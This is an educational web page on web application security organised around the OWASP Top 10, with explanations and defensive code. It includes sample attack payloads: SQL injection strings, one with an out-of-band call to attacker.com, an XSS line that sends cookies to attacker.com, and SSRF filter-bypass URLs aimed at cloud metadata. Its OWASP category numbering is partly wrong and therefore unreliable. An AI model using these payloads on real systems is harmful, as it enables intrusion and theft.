Cybersecurity Topic
Cybersecurity Web Application Security (OWASP Top 10)
1. CORE CONCEPTS
How Web Applications Work
HTTP/HTTPS Protocol:
-
HTTP (Hypertext Transfer Protocol): Stateless protocol using request-response model
-
Methods: GET, POST, PUT, DELETE, HEAD, OPTIONS
-
Status codes: 200 (OK), 301/302 (Redirects), 403 (Forbidden), 404 (Not Found), 500 (Server Error)
-
Headers: Content-Type, User-Agent, Cookie, Authorization, Referer
-
-
HTTPS: HTTP over TLS/SSL encryption
-
Provides confidentiality, integrity, and authentication
-
TLS handshake process: ClientHello → ServerHello → Certificate → Key Exchange
-
Cookies and Sessions:
-
Cookies: Client-side storage
-
Types: Session cookies (memory), Persistent cookies (disk)
-
Attributes: HttpOnly, Secure, SameSite, Domain, Path
http
Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Strict
-
-
Sessions: Server-side state management
-
Session ID stored in cookie, actual data on server
-
Session fixation, hijacking vulnerabilities
-
Web Architecture:
text
Client → Load Balancer → Web Server → Application Server → Database
↑ ↑ ↑
Firewall WAF Reverse Proxy
Threat Modeling for Web Apps
STRIDE Methodology:
-
Spoofing (Authentication attacks)
-
Tampering (Integrity attacks)
-
Repudiation (Non-repudiation failures)
-
Information Disclosure (Confidentiality breaches)
-
Denial of Service (Availability attacks)
-
Elevation of Privilege (Authorization attacks)
Process:
-
Decompose Application: Data flow diagrams, trust boundaries
-
Identify Threats: Using STRIDE per component
-
Mitigate: Apply security controls
-
Validate: Test effectiveness
Understanding Attack Surfaces
Client-Side Attack Surface:
-
Browser DOM manipulation
-
JavaScript execution
-
Client-side storage (localStorage, cookies)
-
Third-party libraries/CDNs
Server-Side Attack Surface:
-
Input validation points (forms, APIs, headers)
-
File uploads
-
Authentication endpoints
-
Database queries
-
File system access
-
External service integrations
Network Attack Surface:
-
Unencrypted communications
-
Open ports/services
-
DNS vulnerabilities
-
Man-in-the-Middle attacks
2. OWASP TOP 10 DEEP DIVE
A01:2021 - Injection
SQL Injection:
sql
-- Classic UNION-based
' UNION SELECT username, password FROM users--
-- Boolean-based blind
' OR 1=1--
' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'
-- Time-based blind
'; IF (SELECT COUNT(*) FROM users) > 0 WAITFOR DELAY '0:0:5'--
-- Out-of-band
'; EXEC xp_dirtree '\\attacker.com\'--
Prevention:
-
Parameterized queries (prepared statements)
-
Stored procedures with validation
-
Input validation allow-lists
-
Principle of least privilege for DB accounts
-
ORM frameworks with built-in protection
NoSQL Injection:
javascript
// MongoDB injection
db.users.find({
username: {"$ne": ""},
password: {"$ne": ""}
})
// Bypassing authentication
{"username": {"$gt": ""}, "password": {"$gt": ""}}
A02:2021 - Broken Authentication
Common Vulnerabilities:
-
Credential Stuffing: Using breached credentials
-
Weak Password Policies: No complexity requirements
-
Session Management Issues:
-
Session IDs in URLs
-
No session timeout
-
Session fixation
-
-
Authentication Bypass:
-
SQL injection in login
-
Default credentials
-
Missing multi-factor authentication
-
Attack Examples:
http
# Session hijacking via XSS
<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
# Session fixation
Attacker: GET /login → Receives sessionid=123
Victim: GET /login?sessionid=123 → Logs in
Attacker: Uses sessionid=123 to access victim's account
Prevention:
-
Implement multi-factor authentication
-
Strong password policies (NIST 800-63B)
-
Secure session management
-
Use framework session management
-
Regenerate session IDs after login
-
Set proper timeout (15 minutes inactive, 12 hours max)
-
-
Limit failed login attempts
-
Use HTTPS everywhere
A03:2021 - Broken Access Control
Types:
-
Insecure Direct Object Reference (IDOR)
http
GET /api/user/123/profile # Change to 124 to access another user
-
Missing Function Level Access Control
http
POST /admin/deleteUser # Accessible by non-admin users
-
Horizontal Privilege Escalation
-
User A accesses User B's data
-
Vertical Privilege Escalation
-
Regular user accesses admin functions
Prevention:
-
Implement proper authorization checks
-
Use indirect reference maps (GUIDs instead of sequential IDs)
-
Principle of least privilege
-
Regular access control testing
A04:2021 - Cryptographic Failures
Common Issues:
-
Weak Encryption Algorithms
-
Using DES, RC4, MD5, SHA-1
-
Weak SSL/TLS versions (SSLv3, TLS 1.0)
-
-
Improper Implementation
-
Hardcoded keys in source code
-
Using ECB mode in symmetric encryption
-
Insufficient entropy for random values
-
-
Data Exposure
-
Storing sensitive data unencrypted
-
Transmitting PII over HTTP
-
Prevention:
-
Use strong algorithms (AES-256, RSA-2048+, SHA-256+)
-
Proper key management (HSMs, key rotation)
-
Encrypt data at rest and in transit
-
Never implement custom crypto
A05:2021 - Security Misconfiguration
Examples:
-
Default credentials (admin/admin)
-
Unnecessary services/ports open
-
Verbose error messages
-
Directory listing enabled
-
Outdated software
-
Unsecure HTTP methods allowed
Hardening Checklist:
-
Remove default accounts
-
Disable directory listing
-
Configure security headers
http
X-Content-Type-Options: nosniff X-Frame-Options: DENY Content-Security-Policy: default-src 'self' Strict-Transport-Security: max-age=31536000
-
Regular patching
-
Minimal installation principle
A06:2021 - Vulnerable & Outdated Components
Risk Factors:
-
Using libraries with known CVEs
-
Not updating dependencies
-
Lack of software bill of materials (SBOM)
Management:
-
Inventory: Maintain list of all components
-
Monitor: Subscribe to security advisories
-
Patch: Regular update schedule
-
Test: SCA (Software Composition Analysis) tools
-
OWASP Dependency-Check
-
npm audit, pip-audit, snyk
-
A07:2021 - Identification & Authentication Failures
Specific Issues:
-
Allowing weak passwords
-
Missing or weak MFA
-
Exposing session IDs in URLs
-
Not invalidating sessions after logout
-
Permitting excessive failed attempts
Best Practices:
python
# Example secure authentication
def authenticate_user(username, password):
# Rate limiting
if failed_attempts[username] > 5:
lock_account(username)
return False
# Secure password verification
user = get_user(username)
if not user:
# Generic error message
return False
# Use timing-safe comparison
if not bcrypt.checkpw(password.encode(), user.password_hash):
log_failed_attempt(username, request.ip)
return False
# Generate secure session
session_id = secrets.token_urlsafe(32)
create_session(user.id, session_id)
return True
A08:2021 - Software & Data Integrity Failures
Examples:
-
Insecure deserialization
-
CI/CD pipeline compromises
-
Untrusted dependencies
-
Lack of code signing
Insecure Deserialization (Java Example):
java
// Vulnerable
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject(); // Attacker can serialize malicious objects
// Prevention: Use safe serialization or validation
ois = new ObjectInputStream(inputStream) {
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
if (!desc.getName().equals("AllowedClass")) {
throw new InvalidClassException("Unauthorized", desc.getName());
}
return super.resolveClass(desc);
}
};
A09:2021 - Security Logging & Monitoring Failures
What to Log:
-
Security Events:
-
Failed logins
-
Access control failures
-
Input validation errors
-
-
Context: Timestamp, user ID, IP, action, outcome
-
Protection: Log integrity, access controls, encryption
SIEM Integration:
text
App Logs → Log Collector → SIEM → Alerting
↓
Long-term Storage
Alerting Rules Example:
-
5+ failed logins in 5 minutes
-
Access to admin panel from unusual IP
-
SQL error messages in responses
A10:2021 - Server-Side Request Forgery (SSRF)
Attack Vectors:
http
# Basic SSRF GET /proxy?url=http://internal-server/admin # Bypassing filters http://127.0.0.1@attacker.com http://localhost:80#.attacker.com http://[::]:80/ # Cloud metadata access (AWS) http://169.254.169.254/latest/meta-data/
Types:
-
Basic SSRF: Access internal resources
-
Blind SSRF: No response visible but actions performed
-
Advanced SSRF: Chaining with other attacks
Prevention:
-
Input validation (allow-list approach)
-
Network segmentation
-
Use URL parsers carefully
-
Disable unused URL schemes
-
Implement outbound firewalls
3. DEFENSE STRATEGIES
Secure Development Lifecycle
-
Requirements: Security requirements gathering
-
Design: Threat modeling, architecture review
-
Implementation: Secure coding standards, peer review
-
Testing: SAST, DAST, penetration testing
-
Deployment: Secure configuration, WAF
-
Maintenance: Monitoring, patching, incident response
Security Testing Tools
-
SAST: SonarQube, Checkmarx, Fortify
-
DAST: OWASP ZAP, Burp Suite, Nessus
-
IAST: Contrast Security, Seeker
-
SCA: Dependency-Check, Snyk, WhiteSource
Web Application Firewall (WAF) Rules
nginx
# ModSecurity rules example
SecRule ARGS "@contains <script>" \
"id:101,phase:2,deny,msg:'XSS Attack Detected'"
SecRule REQUEST_URI "@contains /admin" \
"id:102,phase:1,deny,msg:'Admin Access Attempt'"
Security Headers Implementation
http
HTTP/1.1 200 OK
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
Strict-Transport-Security: max-age=31536000; includeSubDomains
4. PRACTICAL DEFENSE IMPLEMENTATION
Input Validation Framework
python
class InputValidator:
def validate_input(self, input_str, validation_type):
patterns = {
'username': r'^[a-zA-Z0-9_]{3,20}$',
'email': r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$',
'integer': r'^[0-9]+$',
'alphanumeric': r'^[a-zA-Z0-9]+$'
}
if validation_type not in patterns:
raise ValueError("Invalid validation type")
pattern = patterns[validation_type]
if not re.match(pattern, input_str):
raise ValidationError(f"Invalid {validation_type}")
# Additional sanitization
return html.escape(input_str) if validation_type == 'text' else input_str
Secure Session Management
python
import secrets
from datetime import datetime, timedelta
class SessionManager:
def create_session(self, user_id):
# Generate cryptographically secure session ID
session_id = secrets.token_urlsafe(32)
# Store server-side with expiration
session_data = {
'user_id': user_id,
'created_at': datetime.now(),
'expires_at': datetime.now() + timedelta(hours=1),
'ip_address': request.remote_addr,
'user_agent': request.user_agent.string
}
# Store in secure, server-side session store
session_store[session_id] = session_data
# Set secure cookie
response.set_cookie(
'session_id',
session_id,
httponly=True,
secure=True,
samesite='Strict',
max_age=3600
)
return session_id
Comprehensive Logging
python
import logging
import json
from pythonjsonlogger import jsonlogger
class SecurityLogger:
def __init__(self):
logger = logging.getLogger('security')
logger.setLevel(logging.INFO)
# JSON formatter for SIEM integration
formatter = jsonlogger.JsonFormatter(
'%(asctime)s %(levelname)s %(message)s'
)
handler = logging.FileHandler('/var/log/security.log')
handler.setFormatter(formatter)
logger.addHandler(handler)
def log_event(self, event_type, details):
log_entry = {
'timestamp': datetime.now().isoformat(),
'event_type': event_type,
'user_id': current_user.id if current_user else 'anonymous',
'ip_address': request.remote_addr,
'user_agent': request.user_agent.string,
'details': details,
'severity': self._determine_severity(event_type)
}
self.logger.info(json.dumps(log_entry))
def _determine_severity(self, event_type):
severity_map = {
'failed_login': 'MEDIUM',
'sql_injection_attempt': 'HIGH',
'access_control_violation': 'HIGH',
'csrf_attempt': 'MEDIUM'
}
return severity_map.get(event_type, 'LOW')
5. CONTINUOUS IMPROVEMENT
Security Metrics to Track
-
Vulnerability Metrics:
-
Time to detect vulnerabilities
-
Time to remediate
-
Vulnerability recurrence rate
-
-
Incident Metrics:
-
Mean time to detect (MTTD)
-
Mean time to respond (MTTR)
-
Incidents by category
-
-
Compliance Metrics:
-
Security control coverage
-
Policy compliance rate
-
Training completion rates
-
Regular Security Activities
-
Monthly vulnerability scanning
-
Quarterly penetration testing
-
Annual security training
-
Continuous monitoring and alerting
-
Regular threat model updates
-
Dependency updates (weekly/monthly)
6. RESOURCES FOR FURTHER LEARNING
-
OWASP Resources:
-
OWASP Testing Guide
-
OWASP Cheat Sheet Series
-
OWASP Application Security Verification Standard (ASVS)
-
-
Practice Platforms:
-
OWASP WebGoat, Juice Shop
-
PortSwigger Web Security Academy
-
HackTheBox, TryHackMe
-
-
Certifications:
-
OSWE (Offensive Security Web Expert)
-
GWEB (GIAC Web Application Defender)
-
Certified Application Security Engineer (CASE)
-
This extensive approach to web application security, focusing on the OWASP Top 10, provides both theoretical understanding and practical implementation guidance. Remember that security is an ongoing process requiring continuous learning, testing, and improvement.
Comments (0)
No comments yet. Be the first to comment!